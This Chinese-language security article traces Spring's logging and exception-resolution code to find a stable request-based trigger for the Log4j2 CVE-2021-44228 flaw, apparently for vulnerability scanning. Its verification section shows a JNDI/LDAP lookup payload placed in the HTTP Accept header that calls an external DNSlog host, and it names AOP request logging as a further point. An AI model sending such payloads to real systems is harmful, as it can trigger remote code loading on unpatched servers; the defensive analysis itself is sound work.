引言
  Apache Log4j是一个基于Java的日志记录工具。通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。
其中的CVE-2021-44228从披露到整改修复已经持续了有一段时间了,跟struts2、fastjson这类的漏洞一样,log4j2的漏洞也会是持续的运营重点之一,例如版本控制、黑盒/白盒扫描等。那么针对Java生态中最常用的Spring框架,有没有一种稳定的触发方式,方便黑盒日常的扫描探测,来规避风险呢?
以Springboot为例,尝试找到一种稳定的触发方式来方便漏洞的排查/运营。
Spring日志相关
Spring默认使用的日志记录组件不是log4j,最开始在core包中引入的是commons-logging(JCL标准实现)的日志系统,官方考虑到兼容问题,在后续的Spring版本中并未予以替换,而是继续沿用。如果考虑到性能、效率,应该自行进行替换,可以在项目中明确指定使用的日志框架,从而在编译时就指定日志框架。
commons-logging日志系统是基于运行发现算法(常见的方式就是每次使用org.apache.commons.logging.LogFactory.getLogger(xxx),就会启动一次发现流程),获取最适合的日志系统完成日志记录的功能。部分源码实现:
- 调用静态的getLog方法,通过LogAdapter适配器来创建具体的Logs对象:
```java
public abstract class LogFactory {
public static Log getLog(String name) {
return LogAdapter.createLog(name);
}
```
- LogAdapter在static代码中根据日志系统jar包类是否存在/可以被加载,识别当前系统的日志实现方式,默认使用JUL,然后使用 switch case的方式结合之前的判断来调用具体的日志适配器,创建具体Log对象:
```java
static {
if (isPresent("org.apache.logging.log4j.spi.ExtendedLogger")) {
if (isPresent("org.apache.logging.slf4j.SLF4JProvider") && isPresent("org.slf4j.spi.LocationAwareLogger")) {
logApi = LogAdapter.LogApi.SLF4J_LAL;
} else {
logApi = LogAdapter.LogApi.LOG4J;
}
} else if (isPresent("org.slf4j.spi.LocationAwareLogger")) {
logApi = LogAdapter.LogApi.SLF4J_LAL;
} else if (isPresent("org.slf4j.Logger")) {
logApi = LogAdapter.LogApi.SLF4J;
} else {
logApi = LogAdapter.LogApi.JUL;
}
}
public static Log createLog(String name) {
switch(logApi) {
case LOG4J:
return LogAdapter.Log4jAdapter.createLog(name);
case SLF4J_LAL:
return LogAdapter.Slf4jAdapter.createLocationAwareLog(name);
case SLF4J:
return LogAdapter.Slf4jAdapter.createLog(name);
default:
return LogAdapter.JavaUtilAdapter.createLog(name);
}
}
```
- 最后根据具体的日志框架对相应的方法进行包装适配,即可调用具体的日志系统方法。以log4j为例:
```java
private static class Log4jLog implements Log, Serializable {
private static final String FQCN = LogAdapter.Log4jLog.class.getName();
private static final LoggerContext loggerContext = LogManager.getContext(LogAdapter.Log4jLog.class.getClassLoader(), false);
private final ExtendedLogger logger;
public Log4jLog(String name) {
LoggerContext context = loggerContext;
if (context == null) {
context = LogManager.getContext(LogAdapter.Log4jLog.class.getClassLoader(), false);
}
this.logger = context.getLogger(name);
}
public boolean isFatalEnabled() {
return this.logger.isEnabled(org.apache.logging.log4j.Level.FATAL);
}
public boolean isErrorEnabled() {
return this.logger.isEnabled(org.apache.logging.log4j.Level.ERROR);
}
public boolean isWarnEnabled() {
return this.logger.isEnabled(org.apache.logging.log4j.Level.WARN);
}
public boolean isInfoEnabled() {
return this.logger.isEnabled(org.apache.logging.log4j.Level.INFO);
}
public boolean isDebugEnabled() {
return this.logger.isEnabled(org.apache.logging.log4j.Level.DEBUG);
}
public boolean isTraceEnabled() {
return this.logger.isEnabled(org.apache.logging.log4j.Level.TRACE);
}
public void fatal(Object message) {
this.log(org.apache.logging.log4j.Level.FATAL, message, (Throwable)null);
}
public void fatal(Object message, Throwable exception) {
this.log(org.apache.logging.log4j.Level.FATAL, message, exception);
}
public void error(Object message) {
this.log(org.apache.logging.log4j.Level.ERROR, message, (Throwable)null);
}
public void error(Object message, Throwable exception) {
this.log(org.apache.logging.log4j.Level.ERROR, message, exception);
}
public void warn(Object message) {
this.log(org.apache.logging.log4j.Level.WARN, message, (Throwable)null);
}
public void warn(Object message, Throwable exception) {
this.log(org.apache.logging.log4j.Level.WARN, message, exception);
}
public void info(Object message) {
this.log(org.apache.logging.log4j.Level.INFO, message, (Throwable)null);
}
public void info(Object message, Throwable exception) {
this.log(org.apache.logging.log4j.Level.INFO, message, exception);
}
public void debug(Object message) {
this.log(org.apache.logging.log4j.Level.DEBUG, message, (Throwable)null);
}
public void debug(Object message, Throwable exception) {
this.log(org.apache.logging.log4j.Level.DEBUG, message, exception);
}
public void trace(Object message) {
this.log(org.apache.logging.log4j.Level.TRACE, message, (Throwable)null);
}
public void trace(Object message, Throwable exception) {
this.log(org.apache.logging.log4j.Level.TRACE, message, exception);
}
private void log(org.apache.logging.log4j.Level level, Object message, Throwable exception) {
if (message instanceof String) {
if (exception != null) {
this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, (String)message, exception);
} else {
this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, (String)message);
}
} else {
this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, message, exception);
}
}
}
```
以Springboot为例,引入log4j的日志解析方法如下:
xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
PS:Spring的话同样的只需在依赖中剔除common-loggin包,然后引入其他日志系统就可以了:
xml
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<exclusions>
<exclusion>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
Spring异常Exception相关
引入了漏洞版本的log4j依赖的话,自然会受到影响,如果想找到一个稳定触发验证的point。思路之一是可以寻找打印日志的地方。一般来说,系统在发生异常Exception的时候,有可能会进行日志操作。
首先看下Spring异常处理的相关interface/class,看看能不能找到一些思路:
- AbstractHandlerExceptionResolver抽象类
- AbstractHandlerMethodExceptionResolver抽象类
- ExceptionHandlerExceptionResolver类
- DefaultHandlerExceptionResolver类
- ResponseStatusExceptionResolver类
- SimpleMappingExceptionResolver类
HandlerExceptionResolver接口是SpringMVC异常处理核心接口,定义了具体的异常解析方法:
Java
ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex);
AbstractHandlerExceptionResolver会实现HandlerExceptionResolver接口,并在resolveException中定义了具体异常解析的方式,可以理解是一个通用的Exception处理框架:
```Java
public abstract class AbstractHandlerExceptionResolver implements HandlerExceptionResolver, Ordered {
@Nullable
public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) {
if (!this.shouldApplyTo(request, handler)) {
return null;
} else {
this.prepareResponse(ex, response);
ModelAndView result = this.doResolveException(request, response, handler, ex);
if (result != null) {
if (this.logger.isDebugEnabled() && (this.warnLogger == null || !this.warnLogger.isWarnEnabled())) {
this.logger.debug(this.buildLogMessage(ex, request) + (result.isEmpty() ? "" : " to " + result));
}
//logException这里进行了日志输出。
this.logException(ex, request);
}
return result;
}
}
```
类似DefaultHandlerExceptionResolver会继承AbstractHandlerExceptionResolver抽象类,基本上所有的spring内置异常解析类都会继承它:
Java
public class DefaultHandlerExceptionResolver extends AbstractHandlerExceptionResolver {
分析验证
根据上面提到的思路,类似ResponseStatusExceptionResolver会解析带有@ResponseStatus
的异常类,将其中的异常信息描述直接返回给客户端。即使把对应的内容写入到了log message中,也有一定的触发条件,不符合稳定触发的预期,同理,AbstractHandlerMethodExceptionResolver,该类主要处理Controller中用@ExceptionHandler
注解定义的方法。也有一定的前提。
DefaultHandlerExceptionResolver会对一些请求的异常进行处理,比如NoSuchRequestHandlingMethodException、HttpRequestMethodNotSupportedException、HttpMediaTypeNotSupportedException、HttpMediaTypeNotAcceptableException等。符合稳定触发的预期(例如request method异常,如果对应的内容封装到log4 message并且进行了打印即可触发):
```java
public class DefaultHandlerExceptionResolver extends AbstractHandlerExceptionResolver {
public static final String PAGE_NOT_FOUND_LOG_CATEGORY = "org.springframework.web.servlet.PageNotFound";
protected static final Log pageNotFoundLogger = LogFactory.getLog("org.springframework.web.servlet.PageNotFound");
public DefaultHandlerExceptionResolver() {
setOrder(2147483647);
setWarnLogCategory(getClass().getName());
}
@Nullable
protected ModelAndView doResolveException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) {
try {
if (ex instanceof HttpRequestMethodNotSupportedException)
return handleHttpRequestMethodNotSupported((HttpRequestMethodNotSupportedException)ex, request, response, handler);
if (ex instanceof HttpMediaTypeNotSupportedException)
return handleHttpMediaTypeNotSupported((HttpMediaTypeNotSupportedException)ex, request, response, handler);
if (ex instanceof HttpMediaTypeNotAcceptableException)
return handleHttpMediaTypeNotAcceptable((HttpMediaTypeNotAcceptableException)ex, request, response, handler);
if (ex instanceof MissingPathVariableException)
return handleMissingPathVariable((MissingPathVariableException)ex, request, response, handler);
if (ex instanceof MissingServletRequestParameterException)
return handleMissingServletRequestParameter((MissingServletRequestParameterException)ex, request, response, handler);
if (ex instanceof ServletRequestBindingException)
return handleServletRequestBindingException((ServletRequestBindingException)ex, request, response, handler);
if (ex instanceof ConversionNotSupportedException)
return handleConversionNotSupported((ConversionNotSupportedException)ex, request, response, handler);
if (ex instanceof TypeMismatchException)
return handleTypeMismatch((TypeMismatchException)ex, request, response, handler);
if (ex instanceof HttpMessageNotReadableException)
return handleHttpMessageNotReadable((HttpMessageNotReadableException)ex, request, response, handler);
if (ex instanceof HttpMessageNotWritableException)
return handleHttpMessageNotWritable((HttpMessageNotWritableException)ex, request, response, handler);
if (ex instanceof MethodArgumentNotValidException)
return handleMethodArgumentNotValidException((MethodArgumentNotValidException)ex, request, response, handler);
if (ex instanceof MissingServletRequestPartException)
return handleMissingServletRequestPartException((MissingServletRequestPartException)ex, request, response, handler);
if (ex instanceof BindException)
return handleBindException((BindException)ex, request, response, handler);
if (ex instanceof NoHandlerFoundException)
return handleNoHandlerFoundException((NoHandlerFoundException)ex, request, response, handler);
if (ex instanceof AsyncRequestTimeoutException)
return handleAsyncRequestTimeoutException((AsyncRequestTimeoutException)ex, request, response, handler);
} catch (Exception handlerEx) {
if (this.logger.isWarnEnabled())
this.logger.warn("Failure while trying to resolve exception [" + ex.getClass().getName() + "]", handlerEx);
}
return null;
```
DefaultHandlerExceptionResolver继承自AbstractHandlerExceptionResolver且没有重写resolveException方法,那么会调用对应的逻辑:
```java
@Nullable
public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) {
//判断是否需要异常解析
if (!this.shouldApplyTo(request, handler)) {
return null;
} else {
this.prepareResponse(ex, response);
ModelAndView result = this.doResolveException(request, response, handler, ex);
if (result != null) {
if (this.logger.isDebugEnabled() && (this.warnLogger == null || !this.warnLogger.isWarnEnabled())) {
this.logger.debug(this.buildLogMessage(ex, request) + (result.isEmpty() ? "" : " to " + result));
}
//日志输出
this.logException(ex, request);
}
return result;
}
}
```
在logException方法会将异常进行对应的日志输出:
java
protected void logException(Exception ex, HttpServletRequest request) {
if (this.warnLogger != null && this.warnLogger.isWarnEnabled()) {
this.warnLogger.warn(this.buildLogMessage(ex, request));
}
}
这里调用的是warnLogger,根据前面对日志解析过程的分析,如果使用的日志框架是Log4j的话,Spring自适配后其调用的warn方法类似于Log4j的log.warn(),那么若能找到一个Exception其中的异常信息用户可控且调用了warnLogger.warn()的话便可找到一个稳定触发验证的point了:
根据上面的思路,查看符合条件的方法,通过检索HttpMediaTypeNotAcceptableException关键字发现了如下class,看看具体的内容:
在Spring中,HeaderContentNegotiationStrategy类主要负责HTTP Header里的Accept字段的解析,如果 Accept请求头不能被解析则抛出HttpMediaTypeNotAcceptableException异常,并且对应的Accept内容会封装进message中:
```java
/*
* A {@code ContentNegotiationStrategy} that checks the 'Accept' request header.
*
* @author Rossen Stoyanchev
* @author Juergen Hoeller
* @since 3.2
/
public class HeaderContentNegotiationStrategy implements ContentNegotiationStrategy {
/**
* {@inheritDoc}
* @throws HttpMediaTypeNotAcceptableException if the 'Accept' header cannot be parsed
*/
@Override
public List<MediaType> resolveMediaTypes(NativeWebRequest request)
throws HttpMediaTypeNotAcceptableException {
String[] headerValueArray = request.getHeaderValues(HttpHeaders.ACCEPT);
if (headerValueArray == null) {
return MEDIA_TYPE_ALL_LIST;
}
List<String> headerValues = Arrays.asList(headerValueArray);
try {
List<MediaType> mediaTypes = MediaType.parseMediaTypes(headerValues);
MediaType.sortBySpecificityAndQuality(mediaTypes);
return !CollectionUtils.isEmpty(mediaTypes) ? mediaTypes : MEDIA_TYPE_ALL_LIST;
}
catch (InvalidMediaTypeException ex) {
throw new HttpMediaTypeNotAcceptableException(
"Could not parse 'Accept' header " + headerValues + ": " + ex.getMessage());
}
}
}
```
并且这里会进入DefaultHandlerExceptionResolver进行解析。
验证前面的猜想,在Accept字段写入相应的poc(poc内容肯定是不符合MediaType的):
可以看到由于MediaType转化错误打印了warn级别的日志(调用了AbstractHandlerExceptionResolver的warnLogger):
Java
2021-12-26 11:01:31.782 WARN 11873 --- [nio-8080-exec-2] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse 'Accept' header [text/html${jndi:ldap://fyh9pj.dnslog.cn:1389/}]: Invalid mime type "text/html${jndi:ldap://fyh9pj.dnslog.cn:1389/}": Invalid token character '{' in token "html${jndi:ldap://fyh9pj.dnslog.cn:1389/}"]
断点查看对应的message:
并且dnslog成功接收到请求,验证成功:
其他
除此以外,开发常常会使用自定的AOP来进行日志的打印,例如下面的例子记录了请求的方法和path(一些鉴权中间件为了调试/审计,会记录request请求的内容),也是一个可以尝试的point:
```java
@Aspect
@Configuration
@Log4j2
public class LogConsole {
// 定义切点Pointcut
@Pointcut("execution(* com.tools.toolmange.handler.*.*(..))")
public void executeService() {
}
/**
* 在切点之前织入
*/
@Before("executeService()")
public void doBefore(JoinPoint joinPoint) throws Throwable {
// 开始打印请求日志
ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = attributes.getRequest();
if (request == null)
return;
String username = "";
try{
username = SecurityContextHolder.getUserDetails().getUsername();
}catch (Exception e){
log.info("打印请求参数,用户登陆过期 无法获取请求参数");
}
// 打印请求相关参数
log.info("========================================== Start ==========================================");
//请求人
log.info("UserCode :"+ username );
// 打印请求 url
log.info("URL : {}", request.getRequestURL().toString());
// 打印 Http method
log.info("HTTP Method : {}", request.getMethod());
// 打印调用 controller 的全路径以及执行方法
log.info("Class Method : {}.{}", joinPoint.getSignature().getDeclaringTypeName(), joinPoint.getSignature().getName());
// 打印请求的 IP
log.info("IP : {}", request.getRemoteAddr());
// 打印请求入参
log.info("Request Args : {}", JSONUtil.toJsonStr(joinPoint.getArgs()));
}
/**
* 在切点之后织入
*/
@After("executeService()")
public void doAfter() throws Throwable {
log.info("=========================================== End ===========================================");
// 每个请求之间空一行
log.info("");
}
/**
* 环绕
*/
@Around("executeService()")
public Object doAround(ProceedingJoinPoint proceedingJoinPoint) throws Throwable {
long startTime = System.currentTimeMillis();
Object result = proceedingJoinPoint.proceed();
// 执行耗时
log.info("Time-Consuming : {} ms", System.currentTimeMillis() - startTime);
return result;
}
}
```
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论